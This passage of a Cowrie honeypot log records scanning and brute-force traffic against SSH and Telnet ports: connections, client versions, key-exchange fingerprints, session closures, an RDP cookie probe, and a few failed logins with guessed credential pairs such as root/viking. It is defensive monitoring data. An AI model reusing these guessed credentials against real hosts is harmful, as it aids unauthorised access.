ha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:52:17.370562Z","src_ip":"103.82.132.16","session":"1238319acdb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.160.191","src_port":34530,"dst_ip":"159.203.135.109","dst_port":22,"session":"994cb3afc214","protocol":"ssh","message":"New connection: 170.238.160.191:34530 (159.203.135.109:22) [session: 994cb3afc214]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:52:17.986284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:52:17.991283Z","src_ip":"170.238.160.191","session":"994cb3afc214","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:52:18.111338Z","src_ip":"170.238.160.191","session":"994cb3afc214","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"viking","message":"login attempt [root/viking] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:52:18.139199Z","src_ip":"103.82.132.16","session":"1238319acdb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":91.38007855415344,"message":"Connection lost after 91 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:52:18.392075Z","src_ip":"152.42.224.71","session":"1958a62cb1e2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@2024","message":"login attempt [test/test@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:52:18.621981Z","src_ip":"170.238.160.191","session":"994cb3afc214","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:52:19.397012Z","src_ip":"103.82.132.16","session":"1238319acdb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:52:19.744398Z","src_ip":"170.238.160.191","session":"994cb3afc214","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":28.187346935272217,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:52:20.565542Z","src_ip":"152.42.224.71","session":"3e7e6e21127d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.18648624420166,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:52:20.846569Z","src_ip":"152.42.224.71","session":"e1ffe01fc2c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":97.52233743667603,"message":"Connection lost after 97 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:52:21.620646Z","src_ip":"152.42.224.71","session":"7f21e483d768","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49384,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2ae6694d1c0","protocol":"telnet","message":"New connection: 152.42.224.71:49384 (10.17.0.5:23) [session: c2ae6694d1c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:52:22.811390Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.85.181","src_port":35078,"dst_ip":"10.17.0.5","dst_port":22,"session":"f84d9fc1dea7","protocol":"ssh","message":"New connection: 43.173.85.181:35078 (10.17.0.5:22) [session: f84d9fc1dea7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:52:22.925040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:52:22.931423Z","src_ip":"43.173.85.181","session":"f84d9fc1dea7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:52:23.026737Z","src_ip":"43.173.85.181","session":"f84d9fc1dea7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"avahi","password":"avahi","message":"login attempt [avahi/avahi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:52:23.330979Z","src_ip":"43.173.85.181","session":"f84d9fc1dea7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:52:24.402642Z","src_ip":"43.173.85.181","session":"f84d9fc1dea7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49390,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2e715fe7583","protocol":"telnet","message":"New connection: 152.42.224.71:49390 (10.17.0.5:23) [session: e2e715fe7583]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:52:24.931723Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52662,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa9673c78996","protocol":"telnet","message":"New connection: 152.42.224.71:52662 (10.17.0.5:23) [session: fa9673c78996]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:52:27.043991Z"}
{"eventid":"cowrie.session.closed","duration":38.80703926086426,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:52:29.280089Z","src_ip":"152.42.224.71","session":"59d42d3d35f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52676,"dst_ip":"10.17.0.5","dst_port":23,"session":"222262a90c35","protocol":"telnet","message":"New connection: 152.42.224.71:52676 (10.17.0.5:23) [session: 222262a90c35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:52:29.530490Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52688,"dst_ip":"10.17.0.5","dst_port":23,"session":"42e3ad070a9c","protocol":"telnet","message":"New connection: 152.42.224.71:52688 (10.17.0.5:23) [session: 42e3ad070a9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:52:31.790272Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52694,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f6549b4ddfd","protocol":"telnet","message":"New connection: 152.42.224.71:52694 (10.17.0.5:23) [session: 2f6549b4ddfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:52:35.406775Z"}
{"eventid":"cowrie.session.connect","src_ip":"3.132.26.232","src_port":43274,"dst_ip":"10.17.0.5","dst_port":22,"session":"8441e72be69b","protocol":"ssh","message":"New connection: 3.132.26.232:43274 (10.17.0.5:22) [session: 8441e72be69b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:52:37.720684Z"}
{"eventid":"cowrie.client.version","version":"","message":"Remote SSH version: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:52:37.725345Z","src_ip":"3.132.26.232","session":"8441e72be69b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:52:37.729301Z","src_ip":"3.132.26.232","session":"8441e72be69b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42686,"dst_ip":"10.17.0.5","dst_port":23,"session":"419479ab0393","protocol":"telnet","message":"New connection: 152.42.224.71:42686 (10.17.0.5:23) [session: 419479ab0393]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:52:38.497246Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":53924,"dst_ip":"10.17.0.5","dst_port":22,"session":"26ba2850bcb6","protocol":"ssh","message":"New connection: 152.42.212.128:53924 (10.17.0.5:22) [session: 26ba2850bcb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:52:41.622186Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:52:41.626823Z","src_ip":"152.42.212.128","session":"26ba2850bcb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:52:41.630619Z","src_ip":"152.42.212.128","session":"26ba2850bcb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42700,"dst_ip":"10.17.0.5","dst_port":23,"session":"b73bb8193a82","protocol":"telnet","message":"New connection: 152.42.224.71:42700 (10.17.0.5:23) [session: b73bb8193a82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:52:41.757204Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42714,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae462b536acd","protocol":"telnet","message":"New connection: 152.42.224.71:42714 (10.17.0.5:23) [session: ae462b536acd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:52:44.913990Z"}
{"eventid":"cowrie.session.closed","duration":44.52855587005615,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:52:45.739066Z","src_ip":"152.42.224.71","session":"35f8500a56a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":65.06653618812561,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:52:47.701865Z","src_ip":"152.42.224.71","session":"60552b4cad23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38606,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4d342f9c55f","protocol":"telnet","message":"New connection: 152.42.224.71:38606 (10.17.0.5:23) [session: b4d342f9c55f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:52:53.596940Z"}
{"eventid":"cowrie.session.closed","duration":9.024084091186523,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:52:53.937931Z","src_ip":"152.42.224.71","session":"ae462b536acd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":28.331501007080078,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:52:55.375364Z","src_ip":"152.42.224.71","session":"fa9673c78996","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":20.295225858688354,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:52:55.701880Z","src_ip":"152.42.224.71","session":"2f6549b4ddfd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35552,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5411f29f2eb","protocol":"telnet","message":"New connection: 152.42.224.71:35552 (10.17.0.5:23) [session: e5411f29f2eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:52:57.660341Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35554,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d9b00494e48","protocol":"telnet","message":"New connection: 152.42.224.71:35554 (10.17.0.5:23) [session: 8d9b00494e48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:53:02.559756Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35564,"dst_ip":"10.17.0.5","dst_port":23,"session":"aaa64ac0ee15","protocol":"telnet","message":"New connection: 152.42.224.71:35564 (10.17.0.5:23) [session: aaa64ac0ee15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:53:04.609859Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56220,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b02f94fdf59","protocol":"telnet","message":"New connection: 152.42.224.71:56220 (10.17.0.5:23) [session: 3b02f94fdf59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:53:05.897399Z"}
{"eventid":"cowrie.session.connect","src_ip":"3.132.26.232","src_port":60512,"dst_ip":"10.17.0.5","dst_port":22,"session":"858f8685d772","protocol":"ssh","message":"New connection: 3.132.26.232:60512 (10.17.0.5:22) [session: 858f8685d772]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:53:06.275942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:53:06.281139Z","src_ip":"3.132.26.232","session":"858f8685d772","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:53:06.299989Z","src_ip":"3.132.26.232","session":"858f8685d772","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.62384915351868,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:53:14.482256Z","src_ip":"152.42.224.71","session":"f354d0930c05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56224,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f256a3dcef8","protocol":"telnet","message":"New connection: 152.42.224.71:56224 (10.17.0.5:23) [session: 8f256a3dcef8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:53:14.866057Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56228,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3a79e3353b3","protocol":"telnet","message":"New connection: 152.42.224.71:56228 (10.17.0.5:23) [session: f3a79e3353b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:53:15.244461Z"}
{"eventid":"cowrie.session.closed","duration":44.035447120666504,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:53:15.825600Z","src_ip":"152.42.224.71","session":"42e3ad070a9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:53:16.276216Z","src_ip":"3.132.26.232","session":"858f8685d772","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.66.16.39","src_port":57988,"dst_ip":"10.17.0.5","dst_port":23,"session":"07a9f65c559e","protocol":"telnet","message":"New connection: 157.66.16.39:57988 (10.17.0.5:23) [session: 07a9f65c559e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:53:20.076893Z"}
{"eventid":"cowrie.session.closed","duration":38.662843465805054,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:53:20.419905Z","src_ip":"152.42.224.71","session":"b73bb8193a82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":114.15882158279419,"message":"Connection lost after 114 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:53:22.331928Z","src_ip":"152.42.224.71","session":"ecb8c5ef1db1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49762,"dst_ip":"10.17.0.5","dst_port":23,"session":"e524bdc2f2c7","protocol":"telnet","message":"New connection: 152.42.224.71:49762 (10.17.0.5:23) [session: e524bdc2f2c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:53:24.425611Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37064,"dst_ip":"10.17.0.5","dst_port":23,"session":"413486b3ff39","protocol":"telnet","message":"New connection: 152.42.224.71:37064 (10.17.0.5:23) [session: 413486b3ff39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:53:26.196628Z"}
{"eventid":"cowrie.session.closed","duration":50.5031635761261,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:53:29.000288Z","src_ip":"152.42.224.71","session":"419479ab0393","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00233793258667,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:53:29.946931Z","src_ip":"152.42.224.71","session":"f40d55cf9eb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.105310916900635,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:53:31.971233Z","src_ip":"152.42.224.71","session":"8f256a3dcef8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.364350080490112,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:53:32.441127Z","src_ip":"157.66.16.39","session":"07a9f65c559e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":69.73282504081726,"message":"Connection lost after 69 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:53:32.544100Z","src_ip":"152.42.224.71","session":"c2ae6694d1c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":28.261483430862427,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:53:34.158730Z","src_ip":"152.42.224.71","session":"3b02f94fdf59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.46425271034241,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:53:36.124469Z","src_ip":"152.42.224.71","session":"e5411f29f2eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38984,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e87399d04b5","protocol":"telnet","message":"New connection: 152.42.224.71:38984 (10.17.0.5:23) [session: 2e87399d04b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:53:36.986518Z"}
{"eventid":"cowrie.session.closed","duration":47.77964782714844,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:53:41.376502Z","src_ip":"152.42.224.71","session":"b4d342f9c55f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.85.181","src_port":56090,"dst_ip":"10.17.0.5","dst_port":22,"session":"470abf4f5209","protocol":"ssh","message":"New connection: 43.173.85.181:56090 (10.17.0.5:22) [session: 470abf4f5209]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:53:42.886771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:53:42.891866Z","src_ip":"43.173.85.181","session":"470abf4f5209","protocol":"ssh"}
